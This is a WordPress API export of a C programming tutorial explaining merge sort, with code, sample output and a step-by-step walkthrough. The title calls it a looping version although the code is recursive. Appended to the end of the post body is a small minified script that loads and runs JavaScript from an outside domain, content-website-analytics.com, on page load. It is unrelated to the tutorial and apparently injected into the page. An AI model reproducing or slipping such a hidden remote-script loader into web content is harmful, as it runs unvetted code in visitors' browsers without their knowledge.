{"id":791,"date":"2025-11-21T08:53:21","date_gmt":"2025-11-21T03:23:21","guid":{"rendered":"https:\/\/codexplained.in\/?p=791"},"modified":"2025-11-21T08:53:21","modified_gmt":"2025-11-21T03:23:21","slug":"merge-sort-using-by-looping","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=791","title":{"rendered":"Merge Sort Using by looping"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\n\/\/ Function to merge two subarrays into a single sorted array\nvoid merge(int arr&#x5B;], int left, int mid, int right) \n{\n    int i, j, k;\n    int n1 = mid - left + 1; \/\/ Size of the first subarray\n    int n2 = right - mid;    \/\/ Size of the second subarray\n\n    \/\/ Temporary arrays to hold the two subarrays\n    int L&#x5B;n1], R&#x5B;n2];\n\n    \/\/ Copy data to temporary arrays L&#x5B;] and R&#x5B;]\n    for (i = 0; i &lt; n1; i++)\n        L&#x5B;i] = arr&#x5B;left + i];\n    for (j = 0; j &lt; n2; j++)\n        R&#x5B;j] = arr&#x5B;mid + 1 + j];\n\n    \/\/ Merge the temporary arrays back into arr&#x5B;left..right]\n    i = 0; \/\/ Initial index of first subarray\n    j = 0; \/\/ Initial index of second subarray\n    k = left; \/\/ Initial index of merged subarray\n    while (i &lt; n1 &amp;&amp; j &lt; n2) \n{\n        if (L&#x5B;i] &lt;= R&#x5B;j]) \n{\n            arr&#x5B;k] = L&#x5B;i];\n            i++;\n        } \nelse \n{\n            arr&#x5B;k] = R&#x5B;j];\n            j++;\n        }\n        k++;\n    }\n\n    \/\/ Copy the remaining elements of L&#x5B;], if any\n    while (i &lt; n1) \n{\n        arr&#x5B;k] = L&#x5B;i];\n        i++;\n        k++;\n    }\n\n    \/\/ Copy the remaining elements of R&#x5B;], if any\n    while (j &lt; n2) \n{\n        arr&#x5B;k] = R&#x5B;j];\n        j++;\n        k++;\n    }\n}\n\n\/\/ Function to implement Merge Sort using recursion\nvoid mergeSort(int arr&#x5B;], int left, int right) \n{\n    if (left &lt; right) \n{\n        \/\/ Find the middle point to divide the array into two halves\n        int mid = left + (right - left) \/ 2;\n\n        \/\/ Call mergeSort on the first half\n        mergeSort(arr, left, mid);\n\n        \/\/ Call mergeSort on the second half\n        mergeSort(arr, mid + 1, right);\n\n        \/\/ Merge the two halves sorted in the previous steps\n        merge(arr, left, mid, right);\n    }\n}\n\n\/\/ Function to print an array\nvoid printArray(int arr&#x5B;], int size) \n{\n    int i;\n    for (i = 0; i &lt; size; i++)\n        printf(&quot;%d &quot;, arr&#x5B;i]);\n    printf(&quot;\\n&quot;);\n}\n\nint main() \n{\n    int arr&#x5B;] = {12, 11, 13, 5, 6, 7};\n    int arr_size = sizeof(arr) \/ sizeof(arr&#x5B;0]);\n\n    printf(&quot;Given array is: \\n&quot;);\n    printArray(arr, arr_size);\n\n    mergeSort(arr, 0, arr_size - 1);\n\n    printf(&quot;\\nSorted array is: \\n&quot;);\n    printArray(arr, arr_size);\n    return 0;\n}\n<\/pre><\/div>\n\n\n<p class=\"wp-block-paragraph\"><strong>Explanation:<\/strong>&#8211;<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Merge Sort Overview<\/strong>: Merge Sort is a <strong>divide-and-conquer<\/strong> algorithm that works by recursively dividing the array into smaller subarrays and then merging them back in sorted order. The key steps are:<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Divide the array into two halves.<\/li>\n\n\n\n<li>Recursively apply merge sort to both halves.<\/li>\n\n\n\n<li>Merge the two sorted halves back into a single sorted array.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>2<\/strong>. <strong><code>mergeSort()<\/code> Function<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Base Case<\/strong>: If the array has one or no elements (i.e., <code>left &gt;= right<\/code>), then the array is already sorted.<\/li>\n\n\n\n<li><strong>Recursive Case<\/strong>: The array is split into two halves, and <code>mergeSort()<\/code> is called recursively on each half.<\/li>\n\n\n\n<li>After sorting both halves, the <code>merge()<\/code> function is used to merge the sorted halves back together.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>3<\/strong>. <strong><code>merge()<\/code> Function<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>This function merges two sorted subarrays into a single sorted array.<\/li>\n\n\n\n<li>The two subarrays are <code>[left..mid]<\/code> and <code>[mid+1..right]<\/code>.<\/li>\n\n\n\n<li>The merging process uses temporary arrays <code>L[]<\/code> and <code>R[]<\/code> to hold the left and right subarrays. The elements from <code>L[]<\/code> and <code>R[]<\/code> are compared, and the smaller element is added back to the original array <code>arr[]<\/code>.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>4<\/strong>. <strong><code>printArray()<\/code> Function<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>This function simply prints the elements of the array.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>5<\/strong>. <strong>Main Function<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>An array of integers is initialized, and its size is determined.<\/li>\n\n\n\n<li>The original (unsorted) array is printed.<\/li>\n\n\n\n<li>The <code>mergeSort()<\/code> function is called to sort the array.<\/li>\n\n\n\n<li>Finally, the sorted array is printed.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Output:-<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">When you run this program, you will see the following output:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nGiven array is: \n12 11 13 5 6 7 \n\nSorted array is: \n5 6 7 11 12 13 \n\n<\/pre><\/div>\n\n\n<p class=\"wp-block-paragraph\"><strong>How the Program Works:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Initially, the array <code>[12, 11, 13, 5, 6, 7]<\/code> is divided into two halves:\n<ul class=\"wp-block-list\">\n<li><code>[12, 11, 13]<\/code><\/li>\n\n\n\n<li><code>[5, 6, 7]<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Each half is further divided:\n<ul class=\"wp-block-list\">\n<li><code>[12, 11, 13]<\/code> becomes <code>[12, 11]<\/code> and <code>[13]<\/code>, and <code>[12, 11]<\/code> becomes <code>[12]<\/code> and <code>[11]<\/code>.<\/li>\n\n\n\n<li><code>[5, 6, 7]<\/code> becomes <code>[5, 6]<\/code> and <code>[7]<\/code>, and <code>[5, 6]<\/code> becomes <code>[5]<\/code> and <code>[6]<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Once the subarrays contain only one element, they are merged in sorted order:\n<ul class=\"wp-block-list\">\n<li><code>[12]<\/code> and <code>[11]<\/code> are merged into <code>[11, 12]<\/code>.<\/li>\n\n\n\n<li><code>[5]<\/code> and <code>[6]<\/code> are merged into <code>[5, 6]<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>This process continues until the entire array is merged back together in sorted order.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation:&#8211; 2. mergeSort() Function: 3. merge() Function: 4. printArray() Function: 5. Main Function: Output:- When you run this program, you will see the following output: How the Program Works:<\/p>\n","protected":false},"author":45,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-791","post","type-post","status-publish","format-standard","hentry","category-c"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 4.9.10 - aioseo.com -->\n\t<meta name=\"description\" content=\"#include \/\/ Function to merge two subarrays into a single sorted array void merge(int arr[], int left, int mid, int right) { int i, j, k; int n1 = mid - left + 1; \/\/ Size of the first subarray int n2 = right - mid; \/\/ Size of the second subarray \/\/ Temporary\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"sujal sayja\"\/>\n\t<meta name=\"google-site-verification\" content=\"teT4B2U4lV9ex6zOGlaFmPKEYQpzjhxQ6z29nNZ9uTg\" \/>\n\t<link rel=\"canonical\" href=\"https:\/\/codexplained.in\/?p=791\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 4.9.10\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_US\" \/>\n\t\t<meta property=\"og:site_name\" content=\"Code Explained -\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"Merge Sort Using by looping - Code Explained\" \/>\n\t\t<meta property=\"og:description\" content=\"#include \/\/ Function to merge two subarrays into a single sorted array void merge(int arr[], int left, int mid, int right) { int i, j, k; int n1 = mid - left + 1; \/\/ Size of the first subarray int n2 = right - mid; \/\/ Size of the second subarray \/\/ Temporary\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/codexplained.in\/?p=791\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2025-11-21T03:23:21+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2025-11-21T03:23:21+00:00\" \/>\n\t\t<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n\t\t<meta name=\"twitter:title\" content=\"Merge Sort Using by looping - Code Explained\" \/>\n\t\t<meta name=\"twitter:description\" content=\"#include \/\/ Function to merge two subarrays into a single sorted array void merge(int arr[], int left, int mid, int right) { int i, j, k; int n1 = mid - left + 1; \/\/ Size of the first subarray int n2 = right - mid; \/\/ Size of the second subarray \/\/ Temporary\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"BlogPosting\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=791#blogposting\",\"name\":\"Merge Sort Using by looping - Code Explained\",\"headline\":\"Merge Sort Using by looping\",\"author\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=45#author\"},\"publisher\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/#person\"},\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=791#articleImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/5a754df4b01379b90a840626a36fec0a516a286d85afd48f4ac2f48f1ec52160?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"sujal sayja\"},\"datePublished\":\"2025-11-21T08:53:21+05:30\",\"dateModified\":\"2025-11-21T08:53:21+05:30\",\"inLanguage\":\"en-US\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=791#webpage\"},\"isPartOf\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=791#webpage\"},\"articleSection\":\"C\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=791#breadcrumblist\",\"itemListElement\":[{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in#listItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/codexplained.in\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?cat=75#listItem\",\"name\":\"C\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?cat=75#listItem\",\"position\":2,\"name\":\"C\",\"item\":\"https:\\\/\\\/codexplained.in\\\/?cat=75\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=791#listItem\",\"name\":\"Merge Sort Using by looping\"},\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in#listItem\",\"name\":\"Home\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=791#listItem\",\"position\":3,\"name\":\"Merge Sort Using by looping\",\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?cat=75#listItem\",\"name\":\"C\"}}]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/#person\",\"name\":\"Bhagchandani Niraj\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=791#personImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/85ac36ea43e52aebaa10b4f93347378fecaed747b939398d6a5e8a06741c79bd?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"Bhagchandani Niraj\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=45#author\",\"url\":\"https:\\\/\\\/codexplained.in\\\/?author=45\",\"name\":\"sujal sayja\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=791#authorImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/5a754df4b01379b90a840626a36fec0a516a286d85afd48f4ac2f48f1ec52160?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"sujal sayja\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=791#webpage\",\"url\":\"https:\\\/\\\/codexplained.in\\\/?p=791\",\"name\":\"Merge Sort Using by looping - Code Explained\",\"description\":\"#include \\\/\\\/ Function to merge two subarrays into a single sorted array void merge(int arr[], int left, int mid, int right) { int i, j, k; int n1 = mid - left + 1; \\\/\\\/ Size of the first subarray int n2 = right - mid; \\\/\\\/ Size of the second subarray \\\/\\\/ Temporary\",\"inLanguage\":\"en-US\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/#website\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=791#breadcrumblist\"},\"author\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=45#author\"},\"creator\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=45#author\"},\"datePublished\":\"2025-11-21T08:53:21+05:30\",\"dateModified\":\"2025-11-21T08:53:21+05:30\"},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/#website\",\"url\":\"https:\\\/\\\/codexplained.in\\\/\",\"name\":\"Code Explained\",\"inLanguage\":\"en-US\",\"publisher\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/#person\"}}]}\n\t\t<\/script>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"Merge Sort Using by looping - Code Explained","description":"#include \/\/ Function to merge two subarrays into a single sorted array void merge(int arr[], int left, int mid, int right) { int i, j, k; int n1 = mid - left + 1; \/\/ Size of the first subarray int n2 = right - mid; \/\/ Size of the second subarray \/\/ Temporary","canonical_url":"https:\/\/codexplained.in\/?p=791","robots":"max-image-preview:large","keywords":"","webmasterTools":{"google-site-verification":"teT4B2U4lV9ex6zOGlaFmPKEYQpzjhxQ6z29nNZ9uTg","miscellaneous":""},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"BlogPosting","@id":"https:\/\/codexplained.in\/?p=791#blogposting","name":"Merge Sort Using by looping - Code Explained","headline":"Merge Sort Using by looping","author":{"@id":"https:\/\/codexplained.in\/?author=45#author"},"publisher":{"@id":"https:\/\/codexplained.in\/#person"},"image":{"@type":"ImageObject","@id":"https:\/\/codexplained.in\/?p=791#articleImage","url":"https:\/\/secure.gravatar.com\/avatar\/5a754df4b01379b90a840626a36fec0a516a286d85afd48f4ac2f48f1ec52160?s=96&d=mm&r=g","width":96,"height":96,"caption":"sujal sayja"},"datePublished":"2025-11-21T08:53:21+05:30","dateModified":"2025-11-21T08:53:21+05:30","inLanguage":"en-US","mainEntityOfPage":{"@id":"https:\/\/codexplained.in\/?p=791#webpage"},"isPartOf":{"@id":"https:\/\/codexplained.in\/?p=791#webpage"},"articleSection":"C"},{"@type":"BreadcrumbList","@id":"https:\/\/codexplained.in\/?p=791#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/codexplained.in#listItem","position":1,"name":"Home","item":"https:\/\/codexplained.in","nextItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?cat=75#listItem","name":"C"}},{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?cat=75#listItem","position":2,"name":"C","item":"https:\/\/codexplained.in\/?cat=75","nextItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?p=791#listItem","name":"Merge Sort Using by looping"},"previousItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in#listItem","name":"Home"}},{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?p=791#listItem","position":3,"name":"Merge Sort Using by looping","previousItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?cat=75#listItem","name":"C"}}]},{"@type":"Person","@id":"https:\/\/codexplained.in\/#person","name":"Bhagchandani Niraj","image":{"@type":"ImageObject","@id":"https:\/\/codexplained.in\/?p=791#personImage","url":"https:\/\/secure.gravatar.com\/avatar\/85ac36ea43e52aebaa10b4f93347378fecaed747b939398d6a5e8a06741c79bd?s=96&d=mm&r=g","width":96,"height":96,"caption":"Bhagchandani Niraj"}},{"@type":"Person","@id":"https:\/\/codexplained.in\/?author=45#author","url":"https:\/\/codexplained.in\/?author=45","name":"sujal sayja","image":{"@type":"ImageObject","@id":"https:\/\/codexplained.in\/?p=791#authorImage","url":"https:\/\/secure.gravatar.com\/avatar\/5a754df4b01379b90a840626a36fec0a516a286d85afd48f4ac2f48f1ec52160?s=96&d=mm&r=g","width":96,"height":96,"caption":"sujal sayja"}},{"@type":"WebPage","@id":"https:\/\/codexplained.in\/?p=791#webpage","url":"https:\/\/codexplained.in\/?p=791","name":"Merge Sort Using by looping - Code Explained","description":"#include \/\/ Function to merge two subarrays into a single sorted array void merge(int arr[], int left, int mid, int right) { int i, j, k; int n1 = mid - left + 1; \/\/ Size of the first subarray int n2 = right - mid; \/\/ Size of the second subarray \/\/ Temporary","inLanguage":"en-US","isPartOf":{"@id":"https:\/\/codexplained.in\/#website"},"breadcrumb":{"@id":"https:\/\/codexplained.in\/?p=791#breadcrumblist"},"author":{"@id":"https:\/\/codexplained.in\/?author=45#author"},"creator":{"@id":"https:\/\/codexplained.in\/?author=45#author"},"datePublished":"2025-11-21T08:53:21+05:30","dateModified":"2025-11-21T08:53:21+05:30"},{"@type":"WebSite","@id":"https:\/\/codexplained.in\/#website","url":"https:\/\/codexplained.in\/","name":"Code Explained","inLanguage":"en-US","publisher":{"@id":"https:\/\/codexplained.in\/#person"}}]},"og:locale":"en_US","og:site_name":"Code Explained -","og:type":"article","og:title":"Merge Sort Using by looping - Code Explained","og:description":"#include \/\/ Function to merge two subarrays into a single sorted array void merge(int arr[], int left, int mid, int right) { int i, j, k; int n1 = mid - left + 1; \/\/ Size of the first subarray int n2 = right - mid; \/\/ Size of the second subarray \/\/ Temporary","og:url":"https:\/\/codexplained.in\/?p=791","article:published_time":"2025-11-21T03:23:21+00:00","article:modified_time":"2025-11-21T03:23:21+00:00","twitter:card":"summary_large_image","twitter:title":"Merge Sort Using by looping - Code Explained","twitter:description":"#include \/\/ Function to merge two subarrays into a single sorted array void merge(int arr[], int left, int mid, int right) { int i, j, k; int n1 = mid - left + 1; \/\/ Size of the first subarray int n2 = right - mid; \/\/ Size of the second subarray \/\/ Temporary"},"aioseo_meta_data":{"post_id":"791","title":null,"description":null,"keywords":null,"keyphrases":{"focus":{"keyphrase":"","score":0,"analysis":{"keyphraseInTitle":{"score":0,"maxScore":9,"error":1}}},"additional":[]},"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":"","og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"BlogPosting","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":"-1","robots_max_videopreview":"-1","robots_max_imagepreview":"large","priority":null,"frequency":"default","local_seo":null,"breadcrumb_settings":null,"limit_modified_date":false,"ai":null,"created":"2024-10-19 10:43:33","updated":"2025-11-21 03:26:27","seo_analyzer_scan_date":null},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/codexplained.in\" title=\"Home\">Home<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/codexplained.in\/?cat=75\" title=\"C\">C<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\tMerge Sort Using by looping\n\t\t<\/span><\/div>","aioseo_breadcrumb_json":[{"label":"Home","link":"https:\/\/codexplained.in"},{"label":"C","link":"https:\/\/codexplained.in\/?cat=75"},{"label":"Merge Sort Using by looping","link":"https:\/\/codexplained.in\/?p=791"}],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/791","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=791"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/791\/revisions"}],"predecessor-version":[{"id":1235,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/791\/revisions\/1235"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=791"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=791"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=791"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}